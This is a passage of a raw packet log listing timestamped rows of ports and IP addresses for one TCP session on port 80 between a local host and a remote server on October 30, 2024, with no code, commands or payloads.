Oct 30, 2024 20:13:27.534651041 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.534791946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.534802914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.534812927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.534823895 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.534840107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.534862041 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.534862041 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.534888029 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.534929991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.534940958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.534970045 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.534986973 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.535048962 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.535060883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.535070896 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.535082102 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.535093069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.535104036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.535115957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.535126925 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.535137892 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.535109043 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.535109043 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.535171032 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.535171032 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.535171032 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.535202980 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.535682917 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.535693884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.535737038 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.535816908 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.535825968 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.535835981 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.535847902 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.535859108 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.535870075 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.535872936 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.535907984 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.535916090 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.536834002 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.536844969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.536854982 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.536865950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.536879063 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.536881924 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.536889076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.536895037 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.536900997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.536912918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.536925077 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.536953926 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.538250923 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.538367987 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.538417101 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.538444042 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.538455009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.538490057 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.538517952 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.538554907 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.538578987 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.538630962 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.538677931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.538688898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.538698912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.538724899 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.538759947 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.654416084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.654454947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.654476881 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.654491901 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.654515028 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.654529095 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.654716969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.654753923 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.654818058 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.654834032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.654854059 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.654872894 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.654943943 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.654958963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.654979944 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.654994965 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.655008078 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.655045986 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.655124903 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.655158997 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.655230999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.655246973 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.655262947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.655267000 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.655280113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.655284882 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.655299902 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.655323029 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.655500889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.655519962 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.655536890 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.655582905 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.655582905 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.655582905 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.655653000 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.655677080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.655690908 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.655694008 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.655726910 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.655859947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.655884027 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.655896902 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.656039000 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.656056881 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.656073093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.656083107 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.656090975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.656095028 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.656111002 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.656112909 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.656126022 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.656141996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.656143904 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.656157017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.656163931 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.656172991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.656179905 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.656188965 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.656197071 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.656215906 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.656225920 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.656717062 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.656732082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.656748056 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.656754971 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.656763077 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.656769037 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.656779051 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.656785011 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.656799078 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.656805038 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.656815052 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.656817913 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.656831026 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.656836033 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.656846046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.656852961 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.656862974 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.656872034 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.656879902 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.656883001 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.656898975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.656904936 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.656925917 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.656946898 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.657423973 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.657439947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.657457113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.657464981 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.657480001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.657486916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.657526016 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.657542944 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.657815933 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.657833099 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.657847881 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.657854080 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.657864094 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.657870054 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.657879114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.657891035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.657893896 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.657908916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.657917023 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.657917023 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.657928944 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.657947063 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.658138037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.658152103 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.658169985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.658175945 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.658191919 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.658205032 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.658246994 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.658262968 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.658278942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.658282995 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.658294916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.658299923 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.658308983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.658314943 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.658324957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.658339977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.658349991 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.658355951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.658366919 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.658373117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.658381939 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.658399105 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.658420086 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.658998966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.659014940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.659029961 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.659037113 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.659054041 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.659065962 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.776182890 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.776205063 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.776215076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.776344061 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.776453972 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.776500940 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.776515961 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.776532888 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.776556969 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.776582003 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.776639938 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.776655912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.776673079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.776676893 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.776700974 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.776714087 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.776828051 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.776842117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.776855946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.776875019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.776878119 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.776896954 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.776932955 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.777029991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.777045012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.777061939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.777065992 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.777087927 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.777111053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.777256966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.777275085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.777297020 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.777314901 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.777494907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.777534962 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.777571917 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.777587891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.777611017 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.777631044 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.777700901 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.777717113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.777751923 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.777765989 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.777833939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.777873039 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.777980089 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.777995110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.778028965 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.778043985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.778059959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.778126001 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.778126001 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.778126001 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.778126001 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.778126001 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.778199911 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.778248072 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.778306007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.778321028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.778356075 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.778373003 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.778445005 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.778460026 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.778475046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.778481960 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.778491974 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.778501987 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.778521061 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.778556108 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.778750896 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.778765917 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.778793097 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.778794050 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.778810024 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.778817892 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.778830051 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.778834105 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.778855085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.778872013 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.778886080 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.778886080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.778902054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.778907061 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.778918028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.778949976 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.778969049 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.779428959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.779443026 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.779457092 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.779473066 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.779496908 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.822500944 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.827815056 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.104818106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.104835033 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.104851007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.104867935 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.104882956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.104914904 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.104916096 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.104926109 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.104943037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.104953051 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.104975939 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.104975939 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.105079889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.105148077 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.105185032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.105201006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.105216980 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.105232000 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.105238914 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.105238914 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.105271101 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.105271101 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.105442047 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.105457067 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.105478048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.105492115 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.105494022 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.105513096 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.105513096 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.105532885 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.105700970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.105755091 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.105817080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.105832100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.105845928 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.105861902 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.105863094 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.105878115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.105881929 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.105892897 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.105899096 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.105899096 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.105911970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.105941057 CET	49758	80	192.168.2.4	185.215.113.206
